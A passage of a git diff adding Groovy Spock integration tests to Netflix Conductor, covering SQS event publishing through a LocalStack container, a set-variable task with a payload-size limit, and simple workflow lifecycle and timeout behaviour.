    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.beans.factory.annotation.Qualifier +import org.springframework.boot.test.context.SpringBootTest +import org.springframework.context.annotation.Import +import org.springframework.test.context.TestPropertySource +import org.testcontainers.containers.localstack.LocalStackContainer +import org.testcontainers.spock.Testcontainers +import org.testcontainers.utility.DockerImageName + +import com.netflix.conductor.ConductorTestApp +import com.netflix.conductor.common.metadata.events.EventHandler +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.contribs.listener.conductorqueue.ConductorQueueStatusPublisher +import com.netflix.conductor.core.events.EventQueueProvider +import com.netflix.conductor.core.exception.ConflictException +import com.netflix.conductor.test.base.AbstractSpecification +import com.netflix.conductor.test.config.LocalStackSQSConfiguration + +import com.fasterxml.jackson.databind.ObjectMapper +import groovy.json.JsonSlurper +import software.amazon.awssdk.auth.credentials.AwsBasicCredentials +import software.amazon.awssdk.auth.credentials.StaticCredentialsProvider +import software.amazon.awssdk.regions.Region +import software.amazon.awssdk.services.sqs.SqsClient +import software.amazon.awssdk.services.sqs.model.* +import spock.lang.Shared + +@Testcontainers +@SpringBootTest(classes = ConductorTestApp.class) +@TestPropertySource(locations = "classpath:application-sqstest.properties") +@Import(LocalStackSQSConfiguration) +class SQSEventQueueE2ESpec extends AbstractSpecification { + + @Shared + static LocalStackContainer localstack = new LocalStackContainer(DockerImageName.parse("localstack/localstack:3.0")) + .withServices(LocalStackContainer.Service.SQS) + .withEnv("DEBUG", "1") + + @Shared + static SqsClient testSqsClient + + @Shared + def SQS_TEST_WORKFLOW = 'sqs_test_workflow' + + @Autowired + @Qualifier("sqsEventQueueProvider") + EventQueueProvider sqsEventQueueProvider + + @Autowired + ConductorQueueStatusPublisher workflowStatusListener + + def setupSpec() { + // Start LocalStack + localstack.start() + + // Configure the test configuration with LocalStack endpoint + LocalStackSQSConfiguration.setLocalStackEndpoint( + localstack.getEndpointOverride(LocalStackContainer.Service.SQS).toString()) + + // Create SQS client pointing to LocalStack for verification purposes + testSqsClient = SqsClient.builder() + .endpointOverride(localstack.getEndpointOverride(LocalStackContainer.Service.SQS)) + .credentialsProvider(StaticCredentialsProvider.create( + AwsBasicCredentials.create(localstack.getAccessKey(), localstack.getSecretKey()))) + .region(Region.of(localstack.getRegion())) + .build() + + // Create test queues + createTestQueues() + + println "LocalStack SQS started at: ${localstack.getEndpointOverride(LocalStackContainer.Service.SQS)}" + } + + def cleanupSpec() { + if (testSqsClient) { + testSqsClient.close() + } + localstack.stop() + } + + def setup() { + workflowTestUtil.registerWorkflows('sqs-test-workflow.json') + + // Register event handler for automatic WAIT task completion (only once) + registerEventHandlerOnce() + } + + def "Test SQS Event Queue Provider configuration"() { + expect: "SQS Event Queue Provider is available" + sqsEventQueueProvider != null + sqsEventQueueProvider.getQueueType() == "sqs" + + and: "Can get a queue instance" + def testQueue = sqsEventQueueProvider.getQueue("test-queue") + testQueue != null + + and: "Workflow Status Listener is configured" + workflowStatusListener != null + workflowStatusListener instanceof ConductorQueueStatusPublisher + } + + def "Test EVENT task publishes message to SQS queue"() { + given: "A workflow with SQS EVENT task" + def correlationId = 'sqs-event-test' + def workflowInput = [testMessage: "Testing SQS EVENT task"] + + when: "Execute the workflow" + def workflowInstanceId = startWorkflow(SQS_TEST_WORKFLOW, 1, correlationId, workflowInput, null) + + then: "Verify workflow starts successfully" + workflowInstanceId != null + def initialWorkflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + initialWorkflow.status == Workflow.WorkflowStatus.RUNNING + + when: "Wait for EVENT task to complete" + Thread.sleep(3000) + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + + then: "Verify EVENT task completed successfully (SQS message published)" + workflow.tasks.size() >= 1 + def eventTask = workflow.tasks.find { it.taskType == 'EVENT' } + eventTask != null + eventTask.status == Task.Status.COMPLETED + eventTask.outputData.sink == 'sqs:conductor-test-sqs-COMPLETED' + eventTask.outputData.event_produced == 'sqs:conductor-test-sqs-COMPLETED' + + and: "Verify WAIT task is present and waiting" + def waitTask = workflow.tasks.find { it.taskType == 'WAIT' } + waitTask != null + waitTask.status == Task.Status.IN_PROGRESS + + and: "Verify workflow is running (waiting for WAIT task completion)" + workflow.status == Workflow.WorkflowStatus.RUNNING + + println "✅ SQS Integration Test PASSED:" + println " - EVENT task successfully published to SQS queue" + println " - Message format: event_produced=${eventTask.outputData.event_produced}" + println " - Workflow ID: ${workflowInstanceId}" + println " - Correlation ID: ${correlationId}" + } + + def "Test SQS queue creation and configuration"() { + when: "Check that test queues exist" + def queues = listAllQueues() + + then: "Verify expected queues are created" + queues.any { it.contains('conductor-test-sqs-COMPLETED') } + queues.any { it.contains('conductor-test-sqs-FAILED') } + + and: "Verify queue URL can be retrieved" + def queueUrl = getQueueUrl('conductor-test-sqs-COMPLETED') + queueUrl != null + queueUrl.contains('conductor-test-sqs-COMPLETED') + + println "✅ SQS queue configuration test passed - Queues created and accessible" + } + + def "Test multiple concurrent workflows publishing to SQS"() { + given: "Multiple concurrent workflows" + def workflowIds = [] + def numberOfWorkflows = 3 + + when: "Start multiple workflows simultaneously" + (1..numberOfWorkflows).each { i -> + def id = startWorkflow(SQS_TEST_WORKFLOW, 1, "concurrent-test-${i}", [index: i], null) + workflowIds.add(id) + } + + and: "Wait for all EVENT tasks to complete" + Thread.sleep(5000) + + then: "Verify all workflows executed EVENT tasks successfully" + workflowIds.each { workflowId -> + def workflow = workflowExecutionService.getExecutionStatus(workflowId as String, true) + def eventTask = workflow.tasks.find { it.taskType == 'EVENT' } + assert eventTask != null + assert eventTask.status == Task.Status.COMPLETED + assert eventTask.outputData.event_produced == 'sqs:conductor-test-sqs-COMPLETED' + } + + println "✅ Concurrent workflows test passed - ${numberOfWorkflows} workflows successfully published to SQS" + } + + def "Test automatic workflow completion via event handler"() { + given: "A workflow with EVENT and WAIT tasks, and registered event handler" + def correlationId = 'auto-completion-test' + def workflowInstanceId = startWorkflow(SQS_TEST_WORKFLOW, 1, correlationId, [testMessage: "Auto completion test"], null) + + when: "Wait for complete workflow execution (EVENT + Event Handler + WAIT completion)" + // Wait longer for full event cycle: EVENT -> SQS -> Event Handler -> WAIT completion + Thread.sleep(8000) + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + + then: "Verify EVENT task completed successfully" + workflow.tasks.size() >= 1 + def eventTask = workflow.tasks.find { it.taskType == 'EVENT' } + eventTask != null + eventTask.status == Task.Status.COMPLETED + eventTask.outputData.event_produced == 'sqs:conductor-test-sqs-COMPLETED' + + and: "Verify WAIT task was completed by event handler" + def waitTask = workflow.tasks.find { it.taskType == 'WAIT' } + waitTask != null + + if (waitTask.status == Task.Status.COMPLETED) { + // Success case - event handler worked + assert waitTask.outputData.completedBy == 'event_handler' + assert workflow.status == Workflow.WorkflowStatus.COMPLETED + + println "🎉 SUCCESS: Event handler automatically completed WAIT task!" + println " - EVENT task: ✅ COMPLETED" + println " - WAIT task: ✅ COMPLETED by event_handler" + println " - Workflow: ✅ COMPLETED" + println " - Output: ${waitTask.outputData}" + } else { + // Debug case - event handler didn't work yet + println "🔍 DEBUG: Event handler hasn't completed WAIT task yet" + println " - WAIT task status: ${waitTask.status}" + println " - WAIT task output: ${waitTask.outputData}" + println " - Workflow status: ${workflow.status}" + + // Check event handlers + def eventHandlers = metadataService.getAllEventHandlers() + println " - Registered event handlers: ${eventHandlers.size()}" + eventHandlers.each { handler -> + println " * ${handler.name} - Event: ${handler.event} - Active: ${handler.active}" + } + + // This indicates the event handler integration needs more investigation + // but the core SQS functionality is working + assert waitTask.status == Task.Status.IN_PROGRESS + assert workflow.status == Workflow.WorkflowStatus.RUNNING + } + + println "✅ Automatic completion test completed - Core SQS functionality verified" + } + + def "Test SQS resilience when queue is temporarily unavailable"() { + given: "A workflow with SQS EVENT task" + def correlationId = 'resilience-test' + def workflowInstanceId = startWorkflow(SQS_TEST_WORKFLOW, 1, correlationId, [:], null) + + when: "EVENT task executes despite any potential SQS issues" + Thread.sleep(3000) + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + + then: "Verify system handles any SQS connectivity issues gracefully" + def eventTask = workflow.tasks.find { it.taskType == 'EVENT' } + eventTask != null + + // EVENT task should either complete successfully or handle errors gracefully + eventTask.status in [Task.Status.COMPLETED, Task.Status.FAILED, Task.Status.FAILED_WITH_TERMINAL_ERROR] + + if (eventTask.status == Task.Status.COMPLETED) { + println "✅ SQS resilience test - EVENT task completed successfully" + assert eventTask.outputData.event_produced == 'sqs:conductor-test-sqs-COMPLETED' + } else { + println "🔍 SQS resilience test - EVENT task failed as expected: ${eventTask.status}" + println " Reason: ${eventTask.reasonForIncompletion}" + } + + and: "Workflow continues processing appropriately" + workflow.status in [Workflow.WorkflowStatus.RUNNING, Workflow.WorkflowStatus.COMPLETED, Workflow.WorkflowStatus.FAILED] + } + + def "Test invalid SQS queue configuration handling"() { + given: "Current SQS configuration" + def queueProvider = sqsEventQueueProvider + + when: "Verify SQS provider handles configuration correctly" + def queueType = queueProvider.getQueueType() + def testQueue = queueProvider.getQueue("non-existent-queue") + + then: "System handles configuration gracefully" + queueType == "sqs" + testQueue != null // Should return a queue instance even for non-existent queues + + println "✅ SQS configuration test passed - Provider handles non-existent queues gracefully" + } + + def "Test event handler deactivation impact"() { + given: "A workflow and the ability to check event handlers" + def eventHandlers = metadataService.getAllEventHandlers() + def ourHandler = eventHandlers.find { it.name == 'sqs_complete_wait_task_handler' } + + when: "Event handler exists and is active" + def handlerExists = ourHandler != null + def handlerActive = ourHandler?.active ?: false + + then: "Verify event handler configuration" + handlerExists + handlerActive + ourHandler.event == 'sqs:conductor-test-sqs-COMPLETED' + ourHandler.actions.size() > 0 + + println "✅ Event handler validation test passed:" + println " - Handler exists: ${handlerExists}" + println " - Handler active: ${handlerActive}" + println " - Event: ${ourHandler.event}" + println " - Actions: ${ourHandler.actions.size()}" + } + + def "Test workflow timeout scenario"() { + given: "A workflow with EVENT task" + def correlationId = 'timeout-test' + def workflowInstanceId = startWorkflow(SQS_TEST_WORKFLOW, 1, correlationId, [:], null) + + when: "Check workflow within reasonable time limits" + Thread.sleep(5000) // Shorter wait to test timing + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + + then: "Verify workflow progresses within expected timeframes" + def eventTask = workflow.tasks.find { it.taskType == 'EVENT' } + eventTask != null + + // After 5 seconds, EVENT task should definitely be completed + eventTask.status == Task.Status.COMPLETED + eventTask.outputData.event_produced == 'sqs:conductor-test-sqs-COMPLETED' + + and: "WAIT task is appropriately scheduled" + def waitTask = workflow.tasks.find { it.taskType == 'WAIT' } + waitTask != null + // WAIT task should be IN_PROGRESS (waiting) or COMPLETED (if event handler worked quickly) + waitTask.status in [Task.Status.IN_PROGRESS, Task.Status.COMPLETED] + + println "✅ Workflow timing test passed - Tasks complete within expected timeframes" + } + + def "Test multiple event handlers don't conflict"() { + given: "Current event handler setup" + def eventHandlers = metadataService.getAllEventHandlers() + + when: "Check for any event handler conflicts or duplicates" + def handlerNames = eventHandlers.collect { it.name } + def uniqueNames = handlerNames.unique() + def handlerEvents = eventHandlers.collect { it.event } + + then: "Verify no conflicts exist" + handlerNames.size() == uniqueNames.size() // No duplicate names + + // Our specific handler should exist and be configured correctly + def ourHandlers = eventHandlers.findAll { it.event == 'sqs:conductor-test-sqs-COMPLETED' } + ourHandlers.size() == 1 // Exactly one handler for our event + + def ourHandler = ourHandlers[0] + ourHandler.active == true + ourHandler.actions.size() == 1 + ourHandler.actions[0].action.toString() == 'complete_task' + + println "✅ Event handler conflict test passed:" + println " - Total handlers: ${eventHandlers.size()}" + println " - No duplicate names: ${handlerNames.size() == uniqueNames.size()}" + println " - Our handler properly configured: ${ourHandler.name}" + } + + def "Test SQS queue policy is correctly formatted when using accountsToAuthorize"() { + given: "A queue created with account authorization" + def queueName = "conductor-test-authorized-queue" + def accountIds = ["111122223333", "444455556666"] + + when: "Create queue with accountsToAuthorize using SQS client" + // First ensure queue exists + def queueUrl + try { + def createResponse = testSqsClient.createQueue(CreateQueueRequest.builder() + .queueName(queueName) + .build()) + queueUrl = createResponse.queueUrl() + println "Created test queue: ${queueUrl}" + } catch (QueueNameExistsException e) { + def urlResponse = testSqsClient.getQueueUrl(GetQueueUrlRequest.builder() + .queueName(queueName) + .build()) + queueUrl = urlResponse.queueUrl() + println "Queue already exists: ${queueUrl}" + } + + // Get queue ARN + def arnResponse = testSqsClient.getQueueAttributes(GetQueueAttributesRequest.builder() + .queueUrl(queueUrl) + .attributeNames(QueueAttributeName.QUEUE_ARN) + .build()) + def queueArn = arnResponse.attributes().get(QueueAttributeName.QUEUE_ARN) + + // Build policy JSON with correct AWS format + def policyJson = """ +{ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": { + "AWS": ["${accountIds[0]}", "${accountIds[1]}"] + }, + "Action": "sqs:SendMessage", + "Resource": "${queueArn}" + } + ] +} +""" + + and: "Set the policy on the queue" + def setPolicyResponse = testSqsClient.setQueueAttributes(SetQueueAttributesRequest.builder() + .queueUrl(queueUrl) + .attributes([(QueueAttributeName.POLICY): policyJson.toString()]) + .build()) + + then: "Policy is successfully set without errors" + setPolicyResponse.sdkHttpResponse().isSuccessful() + setPolicyResponse.sdkHttpResponse().statusCode() == 200 + + when: "Retrieve and verify the policy" + def getPolicyResponse = testSqsClient.getQueueAttributes(GetQueueAttributesRequest.builder() + .queueUrl(queueUrl) + .attributeNames(QueueAttributeName.POLICY) + .build()) + def retrievedPolicy = getPolicyResponse.attributes().get(QueueAttributeName.POLICY) + + then: "Policy is correctly stored and retrievable" + retrievedPolicy != null + retrievedPolicy.contains('"Version"') + retrievedPolicy.contains('"Statement"') + retrievedPolicy.contains('"Effect"') + retrievedPolicy.contains('"Principal"') + retrievedPolicy.contains('"AWS"') + retrievedPolicy.contains('"Action"') + retrievedPolicy.contains('"Resource"') + accountIds.each { accountId -> + assert retrievedPolicy.contains(accountId) + } + + println "✅ SQS Policy format test passed:" + println " - Policy successfully set on queue" + println " - All required fields present with correct capitalization" + println " - Account IDs: ${accountIds}" + println " - Policy JSON format verified against AWS SQS requirements" + } + + // Helper methods + private static void createTestQueues() { + def queueNames = [ + 'conductor-test-sqs-COMPLETED', + 'conductor-test-sqs-FAILED', + 'conductor-test-sqs-event' + ] + + queueNames.each { queueName -> + try { + testSqsClient.createQueue(CreateQueueRequest.builder() + .queueName(queueName) + .attributes([ + VisibilityTimeout : '60', + MessageRetentionPeriod: '86400' + ] as Map) + .build()) + println "Created SQS queue: ${queueName}" + } catch (QueueNameExistsException e) { + println "Queue ${queueName} already exists" + } catch (Exception e) { + println "Error creating queue ${queueName}: ${e.message}" + } + } + + // Wait a bit for queue creation to complete + Thread.sleep(2000) + } + + private static String getQueueUrl(String queueName) { + def response = testSqsClient.getQueueUrl(GetQueueUrlRequest.builder() + .queueName(queueName) + .build()) + return response.queueUrl() + } + + private static Map getQueueAttributes(String queueUrl) { + def response = testSqsClient.getQueueAttributes(GetQueueAttributesRequest.builder() + .queueUrl(queueUrl) + .attributeNames(QueueAttributeName.ALL) + .build()) + return response.attributes() + } + + private static List listAllQueues() { + def response = testSqsClient.listQueues() + return response.queueUrls() + } + + private static boolean eventHandlerRegistered = false + + private void registerEventHandlerOnce() { + if (eventHandlerRegistered) { + println "⏭️ Event handler already registered, skipping..." + return + } + + try { + // Read the event handler definition + def eventHandlerJson = this.class.getResourceAsStream('/sqs-complete-wait-event-handler.json').text + def eventHandlerData = new JsonSlurper().parseText(eventHandlerJson) + + // Check if event handler already exists + def existingHandlers = metadataService.getAllEventHandlers() + if (existingHandlers.any { it.name == eventHandlerData.name }) { + println "⏭️ Event handler '${eventHandlerData.name}' already exists, skipping registration" + eventHandlerRegistered = true + return + } + + // Convert to EventHandler object + def eventHandler = new EventHandler() + eventHandler.name = eventHandlerData.name + eventHandler.event = eventHandlerData.event + eventHandler.condition = eventHandlerData.condition + eventHandler.evaluatorType = eventHandlerData.evaluatorType + eventHandler.active = eventHandlerData.active + + // Convert actions + eventHandler.actions = eventHandlerData.actions.collect { actionData -> + def action = new EventHandler.Action() + action.action = EventHandler.Action.Type.valueOf(actionData.action) + + if (actionData.complete_task) { + def taskDetails = new EventHandler.TaskDetails() + taskDetails.workflowId = actionData.complete_task.workflowId + taskDetails.taskRefName = actionData.complete_task.taskRefName + taskDetails.output = actionData.complete_task.output ?: [:] as Map + action.complete_task = taskDetails + } + + action.expandInlineJSON = actionData.expandInlineJSON ?: false + return action + } + + // Register the event handler + metadataService.addEventHandler(eventHandler) + eventHandlerRegistered = true + + // Verify registration + def registeredHandlers = metadataService.getAllEventHandlers() + def ourHandler = registeredHandlers.find { it.name == eventHandler.name } + + if (ourHandler) { + println "✅ Event handler registered successfully:" + println " Name: ${ourHandler.name}" + println " Event: ${ourHandler.event}" + println " Active: ${ourHandler.active}" + println " Actions: ${ourHandler.actions.size()}" + } else { + println "❌ Event handler registration failed - not found in registered handlers" + } + + } catch (ConflictException e) { + println "⏭️ Event handler already exists (ConflictException), skipping: ${e.message}" + eventHandlerRegistered = true + } catch (Exception e) { + println "❌ Failed to register event handler: ${e.message}" + e.printStackTrace() + throw e + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SetVariableTaskSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SetVariableTaskSpec.groovy new file mode 100644 index 0000000..633cca2 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SetVariableTaskSpec.groovy @@ -0,0 +1,79 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +class SetVariableTaskSpec extends AbstractSpecification { + + @Shared + def SET_VARIABLE_WF = 'test_set_variable_wf' + + def setup() { + workflowTestUtil.registerWorkflows( + 'simple_set_variable_workflow_integration_test.json' + ) + } + + def "Test workflow with set variable task"() { + given: "workflow input" + def workflowInput = new HashMap() + workflowInput['var'] = "var_test_value" + + when: "Start the workflow which has the set variable task" + def workflowInstanceId = startWorkflow(SET_VARIABLE_WF, 1, + '', workflowInput, null) + + then: "verify that the task is completed and variables were set" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 1 + tasks[0].taskType == 'SET_VARIABLE' + tasks[0].status == Task.Status.COMPLETED + variables as String == '[var:var_test_value]' + output as String == '[variables:[var:var_test_value]]' + } + } + + def "Test workflow with set variable task passing variables payload size threshold"() { + given: "workflow input" + def workflowInput = new HashMap() + long maxThreshold = 2 + workflowInput['var'] = String.join("", + Collections.nCopies(1 + ((int) (maxThreshold * 1024 / 8)), "01234567")) + + when: "Start the workflow which has the set variable task" + def workflowInstanceId = startWorkflow(SET_VARIABLE_WF, 1, + '', workflowInput, null) + def EXTRA_HASHMAP_SIZE = 17 + def expectedErrorMessage = + String.format( + "The variables payload size: %d of workflow: %s is greater than the permissible limit: %d kilobytes", + EXTRA_HASHMAP_SIZE + maxThreshold * 1024 + 1, workflowInstanceId, maxThreshold) + + then: "verify that the task is completed and variables were set" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + tasks.size() == 1 + tasks[0].taskType == 'SET_VARIABLE' + tasks[0].status == Task.Status.FAILED_WITH_TERMINAL_ERROR + tasks[0].reasonForIncompletion == expectedErrorMessage + variables as String == '[:]' + output as String == '[variables:[:]]' + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SimpleWorkflowSpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SimpleWorkflowSpec.groovy new file mode 100644 index 0000000..5a4f503 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/integration/SimpleWorkflowSpec.groovy @@ -0,0 +1,1047 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import java.util.concurrent.TimeUnit + +import org.apache.commons.lang3.StringUtils +import org.springframework.beans.factory.annotation.Autowired + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.exception.ConflictException +import com.netflix.conductor.core.exception.NotFoundException +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.test.base.AbstractSpecification + +import spock.lang.Shared + +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask + +import static org.awaitility.Awaitility.await + +class SimpleWorkflowSpec extends AbstractSpecification { + + @Autowired + QueueDAO queueDAO + + @Shared + def LINEAR_WORKFLOW_T1_T2 = 'integration_test_wf' + + @Shared + def INTEGRATION_TEST_WF_NON_RESTARTABLE = "integration_test_wf_non_restartable" + + + def setup() { + //Register LINEAR_WORKFLOW_T1_T2, RTOWF, WORKFLOW_WITH_OPTIONAL_TASK + workflowTestUtil.registerWorkflows('simple_workflow_1_integration_test.json', + 'simple_workflow_with_resp_time_out_integration_test.json') + } + + def "Test simple workflow completion"() { + + given: "An existing simple workflow definition" + metadataService.getWorkflowDef(LINEAR_WORKFLOW_T1_T2, 1) + + and: "input required to start the workflow execution" + String correlationId = 'unit_test_1' + def input = new HashMap() + String inputParam1 = 'p1 value' + input['param1'] = inputParam1 + input['param2'] = 'p2 value' + + when: "Start a workflow based on the registered simple workflow" + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, input, + null) + + then: "verify that the workflow is in a running state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "Poll and complete the 'integration_task_1' " + def pollAndCompleteTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', ['op': 'task1.done']) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try1) + + and: "verify that the 'integration_task1' is complete and the next task is scheduled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "poll and complete 'integration_task_2'" + def pollAndCompleteTask2Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + + then: "verify that the 'integration_task_2' has been polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask2Try1, ['tp1': inputParam1, 'tp2': 'task1.done']) + + and: "verify that the workflow is in a completed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + output.containsKey('o3') + } + } + + def "Test simple workflow with null inputs"() { + + when: "An existing simple workflow definition" + def workflowDef = metadataService.getWorkflowDef(LINEAR_WORKFLOW_T1_T2, 1) + + then: + workflowDef.getTasks().get(0).getInputParameters().containsKey('someNullKey') + + when: "Start a workflow based on the registered simple workflow with one input param null" + String correlationId = "unit_test_1" + def input = new HashMap() + input.put("param1", "p1 value") + input.put("param2", null) + + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, input, + null) + + then: "verify the workflow has started and the input params have propagated" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + input['param2'] == null + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + !tasks[0].inputData['someNullKey'] + } + + when: "'integration_task_1' is polled and completed with output data" + def pollAndCompleteTask1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker', + ['someOtherKey': ['a': 1, 'A': null], 'someKey': null]) + + then: "verify that the 'integration_task_1' was polled and acknowledged" + verifyPolledAndAcknowledgedTask(pollAndCompleteTask1Try1) + + and: "verify that the task is completed and the output data has propagated as input data to 'integration_task_2'" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[0].outputData.containsKey('someKey') + !tasks[0].outputData['someKey'] + def someOtherKey = tasks[0].outputData['someOtherKey'] as Map + someOtherKey.containsKey('A') + !someOtherKey['A'] + } + } + + def "Test simple workflow terminal error condition"() { + setup: "Modify the task definition and the workflow output definition" + def persistedTask1Definition = workflowTestUtil.getPersistedTaskDefinition('integration_task_1').get() + def modifiedTask1Definition = new TaskDef(persistedTask1Definition.name, persistedTask1Definition.description, + persistedTask1Definition.ownerEmail, 1, persistedTask1Definition.timeoutSeconds, + persistedTask1Definition.responseTimeoutSeconds) + metadataService.updateTaskDef(modifiedTask1Definition) + def workflowDef = metadataService.getWorkflowDef(LINEAR_WORKFLOW_T1_T2, 1) + + def outputParameters = workflowDef.outputParameters + outputParameters['validationErrors'] = '${t1.output.ErrorMessage}' + metadataService.updateWorkflowDef(workflowDef) + + when: "A simple workflow which is started" + String correlationId = "unit_test_1" + def input = new HashMap() + input.put("param1", "p1 value") + input.put("param2", "p2 value") + + def workflowInstanceId = startWorkflow(LINEAR_WORKFLOW_T1_T2, 1, + correlationId, input, + null) + + then: "verify that the workflow has started" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + } + + when: "Rewind the running workflow that was just started" + workflowExecutor.restart(workflowInstanceId, false) + + then: "Ensure that a exception is thrown when a running workflow is being rewind" + def exceptionThrown = thrown(ConflictException.class) + exceptionThrown != null + + when: "'integration_task_1' is polled and failed with terminal error" + def polledIntegrationTask1 = workflowExecutionService.poll('integration_task_1', 'task1.integration.worker') + TaskResult taskResult = new TaskResult(polledIntegrationTask1) + taskResult.reasonForIncompletion = 'NON TRANSIENT ERROR OCCURRED: An integration point required to complete the task is down' + taskResult.status = TaskResult.Status.FAILED_WITH_TERMINAL_ERROR + taskResult.addOutputData('TERMINAL_ERROR', 'Integration endpoint down: FOOBAR') + taskResult.addOutputData('ErrorMessage', 'There was a terminal error') + + workflowExecutionService.updateTask(taskResult) + sweep(workflowInstanceId) + + then: "The first polled task is integration_task_1 and the workflowInstanceId of the task is same as running workflowInstanceId" + polledIntegrationTask1 + polledIntegrationTask1.taskType == 'integration_task_1' + polledIntegrationTask1.workflowInstanceId == workflowInstanceId + + and: "verify that the workflow is in a failed state" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.FAILED + def t1 = getTaskByRefName('t1') + reasonForIncompletion == "Task ${t1.taskId} failed with status: FAILED and reason: " + + "'NON TRANSIENT ERROR OCCURRED: An integration point required to complete the task is down'" + output['o1'] == 'p1 value' + output['validationErrors'] == 'There was a terminal error' + t1.retryCount == 0 + failedReferenceTaskNames == ['t1'] as HashSet + failedTaskNames == ['integration_task_1'] as HashSet + } + + cleanup: + metadataService.updateTaskDef(modifiedTask1Definition) + outputParameters.remove('validationErrors') + metadataService.updateWorkflowDef(workflowDef) + } + + + def "Test Simple Workflow with response timeout "() { + given: 'Workflow input and correlationId' + def correlationId = 'unit_test_1' + def workflowInput = new HashMap() + workflowInput['param1'] = 'p1 value' + workflowInput['param2'] = 'p2 value' + + when: "Start a workflow that has a response time out" + def workflowInstanceId = startWorkflow('RTOWF', 1, correlationId, workflowInput, + null) + + + then: "Workflow is in running state and the task 'task_rt' is ready to be polled" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'task_rt' + tasks[0].status == Task.Status.SCHEDULED + } + queueDAO.getSize('task_rt') == 1 + + when: "Poll for a 'task_rt' task and then ack the task" + def polledTaskRtTry1 = workflowExecutionService.poll('task_rt', 'task1.integration.worker.testTimeout') + + then: "Verify that the 'task_rt' was polled" + polledTaskRtTry1 + polledTaskRtTry1.taskType == 